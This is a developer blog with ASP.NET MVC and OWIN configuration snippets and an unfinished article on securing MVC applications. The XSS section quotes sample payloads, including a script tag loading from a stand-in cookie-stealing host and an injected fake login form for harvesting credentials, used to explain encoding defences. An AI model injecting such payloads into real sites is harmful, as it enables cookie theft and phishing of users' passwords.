Thursday, 1 June 2017

Call MVC controller from ASP.NET cs page

This code should go in your cs

 

var routeData = new RouteData();

routeData.Values["controller"] = "Customer";

routeData.Values["action"] = "updateGenericAttribute";

routeData.Values["firstname"] = txtFirstName.Text;

routeData.Values["lastname"] = txtLastName.Text;

routeData.Values["address"] = txtAddress1.Text;

routeData.Values["address1"] = txtAddress2.Text;

routeData.Values["city"] = txtCity.Text;

routeData.Values["countryId"] = cbCountry.Value;

routeData.Values["stateId"] = cbState.Value;

routeData.Values["phone"] = txtPhoneNumber.Text;

var requestContext = new RequestContext(new HttpContextWrapper(HttpContext.Current), routeData);

IController controller = DependencyResolver.Current.GetService<CustomerController>();

controller.Execute(requestContext);

 

 

And in MVC

 

[NopHttpsRequirement(SslRequirement.Yes)]

  public ActionResult updateGenericAttribute(string firstname, string lastname, string address, string address1, string city, string countryId, string stateId,string phone)

  {

      var customer = _workContext.CurrentCustomer;

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.StreetAddress, address);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.StreetAddress2, address1);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.FirstName, firstname);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.LastName, lastname);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.City, city);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.CountryId, countryId);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.StateProvinceId, stateId);

      _genericAttributeService.SaveAttribute(customer, SystemCustomerAttributeNames.Phone, phone);

      return Content("");

  }

 

 

 


Virus-free. www.avast.com

Thursday, 25 May 2017

Owin Add role during registration page

Use the code manager.AddToRole to add role during registration

 if (result.Succeeded)
            {
                // For more information on how to enable account confirmation and password reset please visit http://go.microsoft.com/fwlink/?LinkID=320771
                string code = manager.GenerateEmailConfirmationToken(user.Id);
                string callbackUrl = IdentityHelper.GetUserConfirmationRedirectUrl(code, user.Id, Request);
                manager.AddToRole(user.Id, "Hr");
           

How to assign role authentication to folder

This is actually not the full part. This is just a part to add in web.config file.

In order to assign "Admin" role the the folder "SuperAdmin" add the following under System.web tag

<System.web>
<location path="SuperAdmin">
    <system.web>
      <authorization>
        <allow roles="Admin"/>
        <deny users="*"/>
      </authorization>
    </system.web>
  </location>
  

Owin Change Cookie name

To change the default cookie name generated by Owin add cookiename using the following steps
1) Go to App_Start/Startup.Auth.cs
2) Add CookieName="yourCookieName"
3) Add an expiration date if you want

// For more information on configuring authentication, please visit 
        public void ConfigureAuth(IAppBuilder app)
        {
            // Configure the db context, user manager and signin manager to use a single instance per request
            app.CreatePerOwinContext(ApplicationDbContext.Create);
            app.CreatePerOwinContext<ApplicationUserManager>(ApplicationUserManager.Create);
            app.CreatePerOwinContext<ApplicationSignInManager>(ApplicationSignInManager.Create);

            // Enable the application to use a cookie to store information for the signed in user
            // and to use a cookie to temporarily store information about a user logging in with a third party login provider
            // Configure the sign in cookie
            app.UseCookieAuthentication(new CookieAuthenticationOptions
            {
                AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,
                LoginPath = new PathString("/Account/Login"),
                Provider = new CookieAuthenticationProvider
                {
                    OnValidateIdentity = SecurityStampValidator.OnValidateIdentity<ApplicationUserManager, ApplicationUser>(
                        validateInterval: TimeSpan.FromMinutes(30),
                        regenerateIdentity: (manager, user) => user.GenerateUserIdentityAsync(manager))
                },
                CookieName="MyCookieName",
                ExpireTimeSpan= System.TimeSpan.FromHours(24)
            });
 


Owin Identity change default table

In Order to change the default table generated by Owin Identity. Add the method OnModelCreating as below

Model/IdentityModel.cs 

public class ApplicationDbContext : IdentityDbContext<ApplicationUser>
    {
        public ApplicationDbContext()
            : base("DefaultConnection", throwIfV1Schema: false)
        {
        }

        //Create Custom table
        protected override void OnModelCreating(System.Data.Entity.DbModelBuilder modelBuilder)
        {
            base.OnModelCreating(modelBuilder);
            modelBuilder.Entity<IdentityUser>().ToTable("BE_Users");
            modelBuilder.Entity<ApplicationUser>().ToTable("BE_Users");

            modelBuilder.Entity<IdentityRole>().ToTable("BE_Roles");
            modelBuilder.Entity<IdentityUserRole>().ToTable("BE_UserRoles");
            modelBuilder.Entity<IdentityUserClaim>().ToTable("BE_UserClaims");
            modelBuilder.Entity<IdentityUserLogin>().ToTable("BE_UserLogin");
        }

Monday, 17 April 2017

Rename cookie in OWIN

<authentication mode="Forms">

      <forms name="MyProject.AUTH" loginUrl="~/login" protection="All" timeout="43200" path="/" requireSSL="false" slidingExpiration="true" />

    </authentication>


Virus-free. www.avast.com

Wednesday, 28 September 2016

Securing MVC Application

Securing MVC Application
I would like to kick start this article by the strong statement that
If your websites are not yet a victim of hacking, it’s usually for one of two reasons:
1)      You haven’t built an application.
2)      You didn’t find out that someone hacked your application.
-       Says Wrox
Hackers, crackers, spammers, viruses, malware are everywhere looking for a loophole to sneak into the system and steal data. These attacks are automated, so they’re always awake probing, looking for an open system. Sounds like Harold FinchJ.

This article is a must know for every .NET developer especially for MVC developer. Though this article is target for MVC developer but in general it’s an eye opener for all web developer. ASP.NET MVC doesn’t have as many automatic protections as ASP.NET Web. ASP.NET MVC gives you more control over your markup, which means you’ve taken on more responsibility. This can freak out developers but it’s not something to panic about.

Without much effort ASP.NET Web Forms already tries hard to protect you from a lot of things. For example:
-       Server Components HTML-encode displayed values and attributes to help prevent XSS attacks.
-       View State encrypted and validated to help prevent tampering with form posts.
-       Request Validation (<% @page validaterequest=”true” %>) intercepts malicious-looking data and offers a warning
-       Event Validation to prevent injection attacks and submitting invalid values.
This doesn’t mean ASP.NET MVC does not provide any protection at all. It does provide a lot of built-in protection (e.g. features like HTML-encoding by default using HTML helpers and Razor syntax, request validation). However, if you don’t understand web security it’s very likely your application could fall prey for the hackers.

In this article we will be talking of
1)     Security features in ASP .NET MVC
2)      How to handle common security threats

Authentication & Authorization + Role Management


Authentication & authorization are the most important aspect in securing your website. But we won’t be discussing the same here considering every developer does it without fail. Every controller which should not be exposed to anonymous users should be properly authorized. One has to be very cautious while implementing it. Pages requiring a user session should only be accessible through proper authentication (login). Authenticate at form level or windows level as per the web application user type is concern. Role specific authorization help different user groups access their specific pages. This is a mandate for every web application and most developers are aware for the same.  
Now let’s focus on how hackers will try to misuse our authentication & authorized application.

 Threat: Cross-Site Scripting (XSS)

Cross site scripting is considered to be the number one website security vulnerability on the web. And the reason behind is to blame the developer for being unfamiliar to such attack.
Two type of cross-site scripting could be found a) passive and b) Active injection.

Passive injection

This type of injection occurs through inputs. Consider an input which allows HTML tags as an input let’s say a field accepting URL. Let’s have a look at the html below.
“><iframe src=”http://mysample.com” height=”400” width=500/>”
This would mean another website adverting into your website, I would rather put this way. It won’t bring any ultimate harm to your website but as you could see injection has occurred.
What if it’s a script? This time you are in big trouble. A script injection could be very severe. It could fetch cookie details from client system and pass on hacker. Even worse it won’t be visible like the above and you could notice it when it’s already very late.
“></a><script src=”http://sellcookie.com”></script> <a href=”

Active injection

Such injection requires direct involvement by the end user. Active injection doesn’t require injection at database level but at the client browser level only. Let’s consider a website search mechanism which isn’t HTML encoded. A normal search will result as - 2 items search for ‘bing’ is found. What if the search content was like?-
“<br><br>Please login with the form below before proceeding:
<form action=”mybadsite.aspx”><table><tr><td>Login:</td><td>
<input type=text length=20 name=login></td></tr>
<tr><td>Password:</td><td><input type=text length=20 name=password>
</td></tr></table><input type=submit value=LOGIN></form>”
Believe me this is what I got.
 
This will end up showing a login in the search result. Now the hacker can easily get the credentials if users submit this form. At this point it sounds silly as why would a client intentionally create the form and submit his details. Think of something innovative content like below
MMS of top actress leaked! Please login to protect from public view
And the link would be this:
<a href=”http://infotheek.com/Search.asp?tfSearch= <br><br>Please login
with the form below:<form action=*hack.aspx”><table>
<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr>
<td>Password:</td><td><input type=text length=20 name=password></td></tr>
</table><input type=submit value=LOGIN></form>”>Top actress MMS released
MMS</a>
Those are easy traps where men can easily fall for.

Preventing xss

Cross site scripting can be controlled in the following ways

HTML-Encode all content

HTML Encode can erase most of the cross site scripting. What HTML encode does is, it replaces HTML characters with code. Html.Encode or Html.AttributeEncode does the simple magic. ASP.NET web forms has server controls and postback which tries to prevent most of the injection. But there are exceptions like labels and literals. ASP.NET MVC on the other hand offers more option out of the box.  

Javascript Encoding

HTML encode will fail if the injection is a script. Have a look below and understand how much damage this could do if that was a cookie stealing script.  
One of the solution is to use the Ajax.JavascriptStringEncode just like what the html.encode for HTML string. The other solution is to use AntiXSS library.

AntiXSS Encoder

There's HTML encoding, URL encoding, JavaScript encoding, LDAP encoding, XPath encoding, etc. and there could be more. So rather than encoding each and every type by different encoder it’s obvious to use a single encoder. What antiXSS does is introduce to a list of whitelist character rather than blocking blacklist. No one knows when and what a new injection entity could be introduce. So it’s safe to have the whitelist.         

Threat: Cross-Site Request Forgery

Preventing CSRF Attacks

Threat: Cookie Stealing

Threat: Over-Posting

Preventing Over-Posting with the Bind Attribute

Threat: Open Redirection    


THREAT SOLUTIONS
Complacency Educate yourself.
Assume your applications will be hacked.
Remember that it’s important to protect user data.
Cross-Site Scripting (XSS) HTML-encode all content.
Encode attributes.
Remember JavaScript encoding.
Use AntiXSS if possible.
Cross-Site Request Forgery (CSRF) Token Verifi cation.
Idempotent GETs.
HttpReferrer Validation.
Over-Posting Use the Bind attribute to explicitly whitelist or blacklist fi elds.